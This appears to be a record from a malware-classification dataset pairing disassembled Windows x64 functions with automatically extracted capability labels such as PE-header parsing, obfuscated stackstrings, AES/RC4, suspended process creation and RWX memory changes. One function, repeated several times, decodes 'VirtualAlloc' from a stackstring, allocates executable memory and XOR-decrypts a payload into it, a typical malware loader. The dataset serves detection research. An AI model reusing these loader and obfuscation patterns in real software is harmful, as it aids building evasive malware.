joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001570
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140015c60], rbx
je 0x1400015d7
cmp rax, rbx
jne 0x1400015ca
mov edi, 1
mov esi, edi
jmp 0x1400015dc
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x1400015af
mov edi, 1
mov eax, dword [0x140015c68]
cmp eax, edi
jne 0x1400015f4
mov ebx, 0x1f
mov ecx, ebx
call fcn.1400a8000
jmp 0x14000166a
mov eax, dword [0x140015c68]
test eax, eax
jne 0x14000165f
mov dword [0x140015c68], edi
lea r15, [0x140010c08]
lea rbx, [0x140010bf0]
mov qword [rsp + 0x30], rbx
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rbx, r15
jae 0x140001651
test eax, eax
jne 0x140001655
cmp qword [rbx], r14
je 0x140001646
movabs r10, 0xd30527475e523070
mov rax, qword [rbx]
mov rcx, qword [0x140010b98]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x14000161e
test eax, eax
je 0x140001665
mov eax, 0xff
jmp 0x1400017cb
mov dword [0x1400153e4], edi
mov ebx, 0x1f
mov eax, dword [0x140015c68]
cmp eax, edi
jne 0x140001691
lea rdx, [0x140010be8]
lea rcx, [0x140010bb0]
call sub.msvcrt.dll__initterm
mov dword [0x140015c68], 2
test esi, esi
jne 0x14000169f
mov rax, r14
xchg qword [0x140015c60], rax
cmp qword [0x140015c80], r14
je 0x1400016dc
lea rcx, [0x140015c80]
call fcn.140001c80
test eax, eax
je 0x1400016dc
movabs r10, 0x99012e4578d92870
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140015c80]
mov r9, qword [0x140010b98]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1400016f5
mov eax, 0xff
jmp 0x1400017cb
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000177c
test ax, ax
je 0x140001710
test edx, edx
jne 0x14000177c
sub ax, di
cmp ax, bx
ja 0x140001726
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x140001710
test byte [rsp + 0x7c], dil
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000702c
mov dword [0x1400153e0], eax
cmp dword [0x140015400], r14d
jne 0x140001765
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400153e4], r14d
jne 0x14000177a
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400153e0]
jmp 0x1400017cb
cmp ax, 0x22
jne 0x140001790
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400016fe
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140001d14
add rsp, 0x28
jmp 0x140001570
Function at 0x14000a741
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000a75f
je 0x14000a76a
call 0x14000a7b9
mov bl, 0xc7
lahf
pop rsi
jne 0x14000a74a
call 0x14000a762
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x14000a74a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14000a798
je 0x14000a7d6
invalid
je 0x14000a7e7
jne 0x14000a74a
lea rax, [0x14000a670]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400063d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14000a888
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000a8e1
je 0x14000a8e7
call 0x14000a8d8
fild qword [rdi - 0x7c]
jmp 0x174f4705a
jne 0x14000a8aa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x14000a86a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14000a754
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000a75f
je 0x14000a76a
call 0x14000a7b9
mov bl, 0xc7
lahf
pop rsi
jne 0x14000a74a
call 0x14000a762
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x14000a74a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14000a798
je 0x14000a7d6
invalid
je 0x14000a7e7
jne 0x14000a74a
lea rax, [0x14000a670]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400063d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14000a888
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000a8e1
je 0x14000a8e7
call 0x14000a8d8
fild qword [rdi - 0x7c]
jmp 0x174f4705a
jne 0x14000a8aa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x14000a86a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14000a780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000a75f
je 0x14000a76a
call 0x14000a7b9
mov bl, 0xc7
lahf
pop rsi
jne 0x14000a74a
call 0x14000a762
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x14000a74a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14000a798
je 0x14000a7d6
invalid
je 0x14000a7e7
jne 0x14000a74a
lea rax, [0x14000a670]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400063d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14000a888
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000a8e1
je 0x14000a8e7
call 0x14000a8d8
fild qword [rdi - 0x7c]
jmp 0x174f4705a
jne 0x14000a8aa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x14000a86a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14000a7b9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000a75f
je 0x14000a76a
call 0x14000a7b9
mov bl, 0xc7
lahf
pop rsi
jne 0x14000a74a
call 0x14000a762
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x14000a74a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x14000a798
je 0x14000a7d6
invalid
je 0x14000a7e7
jne 0x14000a74a
lea rax, [0x14000a670]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400063d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x14000a888
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000a8e1
je 0x14000a8e7
call 0x14000a8d8
fild qword [rdi - 0x7c]
jmp 0x174f4705a
jne 0x14000a8aa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x14000a86a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret

Function at 0x14000f5a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000f433
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f433
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f433
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f433
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f433
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f433
cmp dword [rcx + 0xf8], 0
je 0x14000f433
mov ecx, ebx
int3
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f2c4
cmp dword [rbp + 0x20], 0
je 0x14000f480
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f3cc
Function at 0x1800010a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, section..text
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x38
ret
Function at 0x140001f06
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
jmp 0x140001f98
mov dword [rbp - 8], 0
jmp 0x140001f8e
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x18]
add rdx, rax
mov eax, dword [rbp - 8]
movzx eax, byte [rdx + rax]
mov byte [rbp - 9], al
movzx eax, byte [rbp - 9]
shr al, 4
movzx edx, al
movzx eax, byte [rbp - 9]
and eax, 0xf
mov r8d, eax
mov eax, dword [rbp - 4]
lea rcx, [rax*4]
mov rax, qword [rbp + 0x18]
add rcx, rax
movsxd rax, r8d
movsxd rdx, edx
shl rdx, 4
add rdx, rax
lea rax, section..rdata
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp - 8]
mov byte [rcx + rax], dl
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jbe 0x140001f28
add dword [rbp - 4], 1
cmp dword [rbp - 4], 3
jbe 0x140001f1f
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002342
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
jmp 0x1400023b7
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx eax, byte [rax]
shr al, 4
movzx ecx, al
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
and eax, 0xf
mov r8d, eax
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rdx, rax
movsxd rax, r8d
movsxd rcx, ecx
shl rcx, 4
add rcx, rax
lea rax, section..rdata
add rax, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add dword [rbp - 4], 1
cmp dword [rbp - 4], 3
jle 0x14000235b
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002772
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
jmp 0x140002804
mov dword [rbp - 8], 0
jmp 0x1400027fa
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x18]
add rdx, rax
mov eax, dword [rbp - 8]
movzx eax, byte [rdx + rax]
mov byte [rbp - 9], al
movzx eax, byte [rbp - 9]
shr al, 4
movzx edx, al
movzx eax, byte [rbp - 9]
and eax, 0xf
mov r8d, eax
mov eax, dword [rbp - 4]
lea rcx, [rax*4]
mov rax, qword [rbp + 0x18]
add rcx, rax
movsxd rax, r8d
movsxd rdx, edx
shl rdx, 4
add rdx, rax
lea rax, [0x140035100]
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp - 8]
mov byte [rcx + rax], dl
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jbe 0x140002794
add dword [rbp - 4], 1
cmp dword [rbp - 4], 3
jbe 0x14000278b
nop
nop
add rsp, 0x10
pop rbp
ret
Function at 0x140002812
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
jmp 0x140002853
lea rax, [rbp - 0x40]
mov rdx, qword [rbp - 8]
shl rdx, 2
add rax, rdx
mov r8d, 4
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
add qword [rbp - 8], 1
cmp qword [rbp - 8], 3
jbe 0x14000282c
mov qword [rbp - 0x10], 0
jmp 0x14000293d
mov qword [rbp - 0x18], 0
jmp 0x14000292d
mov qword [rbp - 0x20], 0
jmp 0x14000291d
mov rax, qword [rbp - 0x10]
shl rax, 2
lea rdx, [rbp + rax]
mov rax, qword [rbp - 0x20]
add rax, rdx
sub rax, 0x40
movzx r8d, byte [rax]
mov rax, qword [rbp - 0x10]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x18]
add rdx, rax
lea rax, [0x140036110]
add rax, rdx
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp - 0x18]
lea rcx, [rax*4]
mov rax, qword [rbp + 0x18]
add rcx, rax
mov rax, qword [rbp - 0x20]
add rax, rcx
movzx eax, byte [rax]
movzx eax, al
cdqe
movsxd rdx, edx
shl rdx, 8
add rdx, rax
lea rax, [0x140035200]
add rax, rdx
movzx eax, byte [rax]
mov edx, r8d
xor edx, eax
mov rax, qword [rbp - 0x10]
shl rax, 2
lea rcx, [rbp + rax]
mov rax, qword [rbp - 0x20]
add rax, rcx
sub rax, 0x40
mov byte [rax], dl
add qword [rbp - 0x20], 1
cmp qword [rbp - 0x20], 3
jbe 0x140002881
add qword [rbp - 0x18], 1
cmp qword [rbp - 0x18], 3
jbe 0x140002874
add qword [rbp - 0x10], 1
cmp qword [rbp - 0x10], 3
jbe 0x140002867
mov qword [rbp - 0x28], 0
jmp 0x14000297d
lea rax, [rbp - 0x40]
mov rdx, qword [rbp - 0x28]
shl rdx, 2
add rax, rdx
mov rdx, qword [rbp - 0x28]
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x18]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
add qword [rbp - 0x28], 1
cmp qword [rbp - 0x28], 3
jbe 0x140002952
nop
nop
add rsp, 0x60
pop rbp
ret
Function at 0x14000b280
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x318
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2b0], rcx
lea rdx, [rbp + 0x210]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x210]
mov qword [rbp + 0x288], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
movq qword [rbp + 0x200], xmm0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x280], rax
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.COMSPEC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp - 0x30]
lea rdx, [0x140036208]
mov rcx, rax
call fcn.140022cf0
mov rdx, qword [rbp + 0x2b0]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140022cf0
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0xe0]
mov rcx, qword [rbp + 0x280]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x288]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
mov byte [rbp + 0x27f], al
nop
add rsp, 0x318
pop rdi
pop rbp
ret

Function at 0x14000b3b7
Capabilities:
Delete file
Get common file path

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], rdx
lea rdx, [rbp + 0xb0]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xb0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140030d30
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140026630
mov rcx, rax
call sub.msvcrt.dll_remove
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.140026810
mov rbx, rax
mov rax, qword [rbp + 0x1e8]
mov r8d, 0
lea rdx, str..tmp
mov rcx, rax
call fcn.1400264a0
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1e8]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call fcn.14002f470
nop
add rsp, 0x240
pop rbx
pop rdi
pop rbp
ret
Function at 0x140016200
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001cb10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001cb10
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140016270
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140043094]
mov rbx, rcx
test esi, esi
jle 0x1400163a0
mov rax, qword [0x140043098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400162bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140016345
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400162a0
mov rcx, rbx
call fcn.140016ce0
mov rdi, rax
test rax, rax
je 0x1400163c2
mov rax, qword [0x140043098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140016e20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140043098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400163a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001633e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140016350
add dword [0x140043094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140043098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001633e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140016200
nop dword [rax]
xor esi, esi
jmp 0x1400162c8
mov rax, qword [0x140043098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140016200
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140016200
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140016950
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140043100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400430e0]
test rbx, rbx
je 0x1400169ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400169a3
test eax, eax
jne 0x1400169a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016988
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]